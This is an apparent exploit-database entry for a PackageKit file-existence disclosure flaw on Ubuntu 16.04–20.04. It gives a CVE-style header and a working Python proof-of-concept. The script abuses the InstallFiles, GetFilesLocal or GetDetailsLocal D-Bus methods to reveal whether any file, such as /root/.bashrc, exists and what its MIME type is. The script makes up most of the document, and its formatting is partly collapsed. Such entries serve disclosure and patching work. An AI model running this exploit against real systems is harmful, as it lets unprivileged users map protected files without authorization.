# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1# Date: 2020-10-27# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/# Software Link: https://www.freedesktop.org/software/PackageKit/# Version: <= 1.1.1+bzr982-0ubuntu32.1# Tested on: Ubuntu 20.04##!/usr/bin/env python3## Ubuntu 16.04 - 20.04 # PackageKit <= 1.1.13-2ubuntu1# Sensitive Information Disclosure# ## Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html## The InstallFiles, GetFilesLocal and GetDetailsLocal methods # of the d-bus interface to PackageKit accesses given files # before checking for authorization. This allows non-privileged # users to learn the MIME type of any file on the system.# # Example in attached Python script:# # $ python3 test_file_exists_pk.py /root/.bashrc# File exists and is of MIME type: 'text/plain'# # $ python3 test_file_exists_pk.py /root/.bashrca# File does not exist##import dbus
import os
import sys
import re
if len(sys.argv)!=2:
print("Checks if file exists and returns MIME type")
print("Usage: %s <file>")
sys.exit(0)
FILE_TO_CHECK = sys.argv[1]
bus = dbus.SystemBus()
apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")
trans = apt_dbus_interface.CreateTransaction()
apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")
try:
apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])
except dbus.exceptions.DBusException as e:
if"No such file"in str(e):
print("File does not exist")elif"MimeTypeNotSupported"in str(e):
result = re.search('MIME type (.*) not supported', str(e))
print("File exists and is of MIME type: " + result.group(1))